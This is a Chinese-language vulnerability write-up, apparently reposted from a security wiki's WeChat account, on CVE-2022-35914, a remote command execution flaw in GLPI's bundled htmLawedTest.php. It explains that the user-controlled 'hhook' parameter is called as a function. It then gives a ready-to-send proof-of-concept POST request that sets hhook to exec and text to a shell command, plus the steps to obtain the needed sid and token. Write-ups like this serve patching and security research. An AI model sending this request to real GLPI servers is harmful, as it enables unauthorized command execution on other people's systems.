漏洞描述
GLPI是一个用于IT资产管理的开源软件,用PHP编写,并在GPL许可下发布。 作为一种开源技术,任何人都可以运行,修改或开发代码。GLPI 10.0.2及之前版本存在安全漏洞，该漏洞源于PHP htmlawed 模块中 允许 PHP 代码注入
漏洞影响
GLPI
漏洞复现
登录页面
出现问题的文件为 htmLawedTest.php， 来源于第三方库 PHP Labware
https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/
在 htmLawedTest.php 中接收参数并传入方法 htmLawed 中
跟进文件 htmLawed.php
if($C['hook']){$t = $C['hook']($t, $C, $S);}
这里可以看到参数均为用户可控参数，当控制参数 hhook 为 exec 和 text 为执行的命令时就导致了命令执行漏洞
验证POC
/vendor/htmlawed/htmlawed/htmLawedTest.php
访问页面获取到 sid 与 token 后再发送请求包
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 88
Content-Type: application/x-www-form-urlencoded
token=a79cf121bde57fe0e3cc0f247f77961a&text=id&hhook=exec&sid=h1c0vk004dvulal5nj8i6en44e
关注公众号
下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～
支持作者
关于文库
在线文库: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book
文库动态
原文始发于微信公众号（PeiQi文库）：GLPI htmLawedTest.php 远程命令执行漏洞 CVE-2022-35914
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论